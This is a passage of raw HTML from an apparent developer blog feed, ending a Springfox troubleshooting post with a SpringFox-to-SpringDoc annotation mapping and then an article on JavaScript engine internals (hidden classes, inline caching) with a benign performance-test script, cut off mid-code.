</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:510) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:921) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:682) ~[na:na]
</span></span><span style="display:flex;"><span>	at springfox.documentation.spring.web.plugins.WebMvcRequestHandlerProvider.requestHandlers(WebMvcRequestHandlerProvider.java:81) ~[springfox-spring-webmvc-3.0.0.jar:3.0.0]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:197) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.ArrayList$ArrayListSpliterator.forEachRemaining(ArrayList.java:1625) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:921) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:682) ~[na:na]
</span></span><span style="display:flex;"><span>	at springfox.documentation.spring.web.plugins.AbstractDocumentationPluginsBootstrapper.withDefaults(AbstractDocumentationPluginsBootstrapper.java:107) ~[springfox-spring-web-3.0.0.jar:3.0.0]
</span></span><span style="display:flex;"><span>	at springfox.documentation.spring.web.plugins.AbstractDocumentationPluginsBootstrapper.buildContext(AbstractDocumentationPluginsBootstrapper.java:91) ~[springfox-spring-web-3.0.0.jar:3.0.0]
</span></span><span style="display:flex;"><span>	at springfox.documentation.spring.web.plugins.AbstractDocumentationPluginsBootstrapper.bootstrapDocumentationPlugins(AbstractDocumentationPluginsBootstrapper.java:82) ~[springfox-spring-web-3.0.0.jar:3.0.0]
</span></span><span style="display:flex;"><span>	at springfox.documentation.spring.web.plugins.DocumentationPluginsBootstrapper.start(DocumentationPluginsBootstrapper.java:100) ~[springfox-spring-web-3.0.0.jar:3.0.0]
</span></span><span style="display:flex;"><span>	at org.springframework.context.support.DefaultLifecycleProcessor.doStart(DefaultLifecycleProcessor.java:178) ~[spring-context-5.3.16.jar:5.3.16]
</span></span><span style="display:flex;"><span>	... 14 common frames omitted
</span></span></code></pre></div><p>Solution for the issue could be found <a href="https://stackoverflow.com/questions/70036953/springboot-2-6-0-spring-fox-3-failed-to-start-bean-documentationpluginsboot">here</a>.</p>
<h3 id="migrating-from-springfox-to-springdoc">Migrating from Springfox to SpringDoc</h3>
<p>To migrate from SpringFox to SpringDoc change dependencies in <strong>pom.xml</strong> could be not enough.
Another step is annotations migration from OpenAPI 2 to OpenAPI 3:</p>
<ul>
<li><code>@Api</code> → <code>@Tag</code></li>
<li><code>@ApiIgnore</code> → <code>@Hidden</code></li>
<li><code>@ApiImplicitParam</code> → <code>@Parameter</code></li>
<li><code>@ApiImplicitParams</code> → <code>@Parameters</code></li>
<li><code>@ApiModel</code> → <code>@Schema</code></li>
<li><code>@ApiModelProperty(hidden = true)</code> → <code>@Schema(accessMode = READ_ONLY)</code></li>
<li><code>@ApiModelProperty</code> → <code>@Schema</code></li>
<li><code>@ApiOperation(value = &quot;foo&quot;, notes = &quot;bar&quot;)</code> → <code>@Operation(summary = &quot;foo&quot;, description = &quot;bar&quot;)</code></li>
<li><code>@ApiParam</code> → <code>@Parameter</code></li>
<li><code>@ApiResponse(code = 404, message = &quot;foo&quot;)</code> → <code>@ApiResponse(responseCode = &quot;404&quot;, description = &quot;foo&quot;)</code></li>
</ul>
<h3 id="more-information-1">More information</h3>
<p>More information about springfox project could be found in official <a href="https://springfox.github.io/springfox/docs/current/">springfox documentation</a>.</p>
]]></content></item><item><title>JavaScript Engine Fundamentals</title><link>https://greencashew.dev/posts/javascript-engine-fundamentals/</link><pubDate>Sun, 07 Feb 2021 22:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/javascript-engine-fundamentals/</guid><description>Overview Javascript was originally designed as a simple scripting language for web browsers. Nowadays ECMAScript (Specification of Javascript) is a fully-featured general-purpose programming language. It empowers a wide spectrum of different purpose applications. We can even find JS solutions in Space.
This article gives outline of some JS language fundamentals, that can help improve your code.
Engines There are few JS engines which in different way resolve ECMASCRIPT implementation.
Google V8 Spider Monkey Chakra Core JavaScript Core The main engine features are: compilation, run and code optimization.</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>Javascript was originally designed as a simple scripting language for web browsers.
Nowadays ECMAScript (Specification of Javascript) is a fully-featured general-purpose programming language. 
It empowers a wide spectrum of different purpose applications.
We can even find JS solutions in <a href="https://www.infoq.com/news/2020/06/javascript-spacex-dragon/">Space</a>.</p>
<p>This article gives outline of some JS language fundamentals, that can help improve your code.</p>
<h2 id="engines">Engines</h2>
<p>There are few JS engines which in different way resolve <em>ECMASCRIPT</em> implementation.</p>
<p><img src="./js-engines-list.png" alt="List of JS engines and browser usage"></p>
<ul>
<li><a href="https://v8.dev/">Google V8</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey">Spider Monkey</a></li>
<li><a href="https://github.com/chakra-core/ChakraCore">Chakra Core</a></li>
<li><a href="https://trac.webkit.org/wiki/JavaScriptCore">JavaScript Core</a></li>
</ul>
<p>The main engine features are: <strong>compilation, run and code optimization.</strong></p>
<h2 id="javascript-engine-pipeline">Javascript Engine Pipeline</h2>
<p>An engines follow in high level same steps:</p>
<ul>
<li>Parser build AST (lexical, syntactic, semantic analysis)</li>
<li>Interpreter generates Bytecode</li>
<li>Bytecode is translated with JIT (Just In Time) compiler into machine code (only popular code)</li>
</ul>
<p><img src="./js-engine-works.svg" alt="Javascript Virtual Machine how it works?"></p>
<h2 id="js-optimization---engine-trade-offs">JS Optimization - Engine trade-offs</h2>
<p>All JS engines have to deal with tradeoffs between <strong>Low and High code optimization</strong>.</p>
<p>Only once function becomes <em>hot (often used)</em> it is optimized by the compiler.
The main reason why JS engines optimize only hot functions is that:</p>
<ul>
<li>More <strong>compiled code</strong> =&gt; <strong>More memory used</strong></li>
<li><strong>Compiling code</strong> =&gt; <strong>Extra time</strong></li>
<li><strong>Less compilation</strong> =&gt; <strong>Slower run</strong></li>
</ul>
<p><img src="js-hll-bytecode-machine-code-comparison.png" alt="JS High level code, Bytecode, Machine code comparison"></p>
<h2 id="objects">Objects</h2>
<p>Each object is:</p>
<ul>
<li>Internally defined as dictionaries.</li>
<li>Each object variable:
<ul>
<li>Has a <strong>defined name in string</strong> form</li>
<li>Contain <strong>additional property values</strong>:</li>
</ul>
</li>
</ul>
<table>
<thead>
<tr>
<th>Property</th>
<th>Example value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Value</td>
<td>&ldquo;some value&rdquo;</td>
<td>Value</td>
</tr>
<tr>
<td>[[Writable]]</td>
<td>true</td>
<td>Allow to change the value of the variable</td>
</tr>
<tr>
<td>[[Enumerable]]</td>
<td>true</td>
<td>Allow to iterate over a variable (eg. in a loop)</td>
</tr>
<tr>
<td>[[Configurable]]</td>
<td>true</td>
<td>Allow to delete an object variable</td>
</tr>
</tbody>
</table>
<p>To check it, we can use <code>Object.getOwnPropertyDescriptors</code> function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>Object.<span style="color:#a6e22e">getOwnPropertyDescriptors</span>({<span style="color:#a6e22e">key1</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;val1&#39;</span>, <span style="color:#a6e22e">key2</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;val2&#39;</span>})
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>{<span style="color:#960050;background-color:#1e0010">…</span>}<span style="color:#960050;background-color:#1e0010">​</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">key1</span><span style="color:#f92672">:</span> {<span style="color:#960050;background-color:#1e0010">…</span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">configurable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​</span><span style="color:#a6e22e">enumerable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">value</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;val1&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">writable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">prototype</span><span style="color:#f92672">&gt;:</span> Object { <span style="color:#960050;background-color:#1e0010">…</span> }
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">key2</span><span style="color:#f92672">:</span> {<span style="color:#960050;background-color:#1e0010">…</span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">configurable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">enumerable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">value</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;val2&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">writable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">prototype</span><span style="color:#f92672">&gt;:</span> Object { <span style="color:#960050;background-color:#1e0010">…</span> }
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">prototype</span><span style="color:#f92672">&gt;:</span> Object { <span style="color:#960050;background-color:#1e0010">…</span> }
</span></span></code></pre></div><h3 id="arrays">Arrays</h3>
<ul>
<li><strong>Similar to objects + auto-updating <code>length</code></strong> property</li>
<li><strong>All values</strong> in the array field have the <strong>same internal properties</strong>.</li>
</ul>
<p>Let&rsquo;s see how property descriptors look for the array:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>Object.<span style="color:#a6e22e">getOwnPropertyDescriptors</span>([<span style="color:#e6db74">&#39;val1&#39;</span>, <span style="color:#e6db74">&#39;val2&#39;</span>])
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>{<span style="color:#960050;background-color:#1e0010">…</span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> {<span style="color:#960050;background-color:#1e0010">…</span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">configurable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">enumerable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">value</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;val1&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">writable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">prototype</span><span style="color:#f92672">&gt;:</span> Object { <span style="color:#960050;background-color:#1e0010">…</span> }
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span><span style="color:#f92672">:</span> {<span style="color:#960050;background-color:#1e0010">…</span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">configurable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">enumerable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span><span style="color:#960050;background-color:#1e0010">​​</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">value</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;val2&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">writable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">prototype</span><span style="color:#f92672">&gt;:</span> Object { <span style="color:#960050;background-color:#1e0010">…</span> }
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">length</span><span style="color:#f92672">:</span> {<span style="color:#960050;background-color:#1e0010">…</span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">configurable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">enumerable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">value</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#a6e22e">writable</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​​</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">prototype</span><span style="color:#f92672">&gt;:</span> Object { <span style="color:#960050;background-color:#1e0010">…</span> }
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">​</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">prototype</span><span style="color:#f92672">&gt;:</span> Object { <span style="color:#960050;background-color:#1e0010">…</span> }
</span></span></code></pre></div><h2 id="hidden-classes--shapes--structures--types--maps">Hidden Classes / Shapes / Structures / Types / Maps</h2>
<p><strong>When dynamically instantiating an object, these made in the background <em>hidden class / shape / structure / type / map.</em></strong></p>
<p>The structure <strong>instead of object value has Offset</strong>:</p>
<table>
<thead>
<tr>
<th>Property</th>
<th>Example value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Offset</td>
<td>0</td>
</tr>
<tr>
<td>[[Writable]]</td>
<td>true</td>
</tr>
<tr>
<td>[[Enumerable]]</td>
<td>true</td>
</tr>
<tr>
<td>[[Configurable]]</td>
<td>true</td>
</tr>
</tbody>
</table>
<h3 id="different-terminology">Different terminology</h3>
<p>Each engine has a different name for the same thing:</p>
<ul>
<li>Academic =&gt; Hidden classes</li>
<li>JavaScriptCore =&gt; Structures</li>
<li>Chakra =&gt; Types</li>
<li>V8 =&gt; Maps</li>
<li>SpiderMonkey =&gt; Shapes</li>
</ul>
<p>Let&rsquo;s call it: <em>&ldquo;shape&rdquo;</em> in this article.</p>
<h3 id="how-does-it-work">How does it work?</h3>
<ul>
<li>When <strong>dynamically instantiating</strong> an object, these made in the <strong>background object shape</strong></li>
<li>Objects with the <strong>same values</strong> can have the <strong>same internal shape (Order is important)</strong></li>
<li>Each object variable has a <strong>pointer to index or offset of the memory location</strong> where the value of the variable is written.
<img src="js-engine-shapes.svg" alt="JS engines shapes"></li>
<li>Empty object =&gt; Empty shape</li>
<li>Adding variables =&gt; Building new shapes on the fly</li>
<li>Object shape transition is maintained (due to object mutation)<br>
<img src="js-engine-transition-chain.svg" alt="JS transition chain"></li>
<li>In case we have <strong>identical parent objects</strong> transition <strong>chain changes to transition tree</strong></li>
<li><strong>Chained shapes increase access time</strong>. <strong>To avoid it internal <code>shape table</code> is created</strong> which connects variable to a specific shape of an object.</li>
<li><strong>Some engines clear the offset field when deleting a single variable</strong>, which slows down the access times</li>
</ul>
<h2 id="inline-caching">Inline caching</h2>
<p>Inline Caching - When calling function, <strong>interpreter remembers the location of the shape</strong> from the object and memory offset of value.
It enables <strong>faster accesses</strong>. Caching is <strong>not effective if sequentially access different objects.</strong></p>
<h3 id="types">Types</h3>
<ul>
<li><strong>Monomorphic</strong> IC - objects accessed in the sequence have the same shape.</li>
<li><strong>Polymorphic</strong> IC - objects that are accessed in the sequence have a different shape (4 or less).</li>
<li><strong>Megamorphic</strong> IC - objects that are accessed in the sequence have a different shape (4 or more), code optimization turned off.</li>
</ul>
<h3 id="optimization">Optimization</h3>
<p>Let&rsquo;s imagine <strong>Megamorphic IC situation</strong> that we call the function with <strong>different shape every function call</strong>. Also, all 5 shapes have some common keys:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">perfTest</span>() {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">t0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">performance</span>.<span style="color:#a6e22e">now</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X1</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;A&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;A&#34;</span>, <span style="color:#a6e22e">c</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;A&#34;</span> };
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X2</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;B&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;B&#34;</span>, <span style="color:#a6e22e">d</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;B&#34;</span> };
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X3</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;C&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;C&#34;</span>, <span style="color:#a6e22e">e</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;C&#34;</span> };
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X4</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;D&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;D&#34;</span>, <span style="color:#a6e22e">f</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span> };
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X5</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;E&#34;</span> };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">object</span> <span style="color:#f92672">=</span> [<span style="color:#a6e22e">X1</span>, <span style="color:#a6e22e">X2</span>, <span style="color:#a6e22e">X3</span>, <span style="color:#a6e22e">X4</span>, <span style="color:#a6e22e">X5</span>, <span style="color:#a6e22e">X1</span>, <span style="color:#a6e22e">X2</span>, <span style="color:#a6e22e">X3</span>];
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">get_a</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">obj</span>) =&gt; <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">a</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">10000000000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) <span style="color:#a6e22e">get_a</span>(<span style="color:#a6e22e">object</span>[<span style="color:#a6e22e">i</span> <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">7</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">t1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">performance</span>.<span style="color:#a6e22e">now</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      document.<span style="color:#a6e22e">write</span>(<span style="color:#e6db74">&#34;Execution took &#34;</span> <span style="color:#f92672">+</span> (<span style="color:#a6e22e">t1</span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">t0</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34; milliseconds.&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    window.<span style="color:#a6e22e">onload</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">perfTest</span>();
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Execution time:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Execution</span> <span style="color:#a6e22e">took</span> <span style="color:#ae81ff">26</span> <span style="color:#ae81ff">9154.5499999993</span> <span style="color:#a6e22e">milliseconds</span>.
</span></span></code></pre></div><p>Now let&rsquo;s try to optimize code to make the <strong>same shape</strong> from all 5 objects by adding <code>null</code> values to not covered keys:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span> &lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">perfTest</span>() {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">t0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">performance</span>.<span style="color:#a6e22e">now</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X1</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;A&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;A&#34;</span>, <span style="color:#a6e22e">c</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;A&#34;</span>, <span style="color:#a6e22e">d</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">e</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">f</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span> };
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X2</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;B&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;B&#34;</span>, <span style="color:#a6e22e">c</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">d</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;B&#34;</span>, <span style="color:#a6e22e">e</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">f</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span> };
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X3</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;C&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;C&#34;</span>, <span style="color:#a6e22e">c</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">d</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">e</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;C&#34;</span>, <span style="color:#a6e22e">f</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span> };
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X4</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;D&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;D&#34;</span>, <span style="color:#a6e22e">c</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">d</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">e</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">f</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span> };
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">X5</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;E&#34;</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">c</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">d</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">e</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>, <span style="color:#a6e22e">f</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span> };
</span></span><span style="display:flex;"><span>
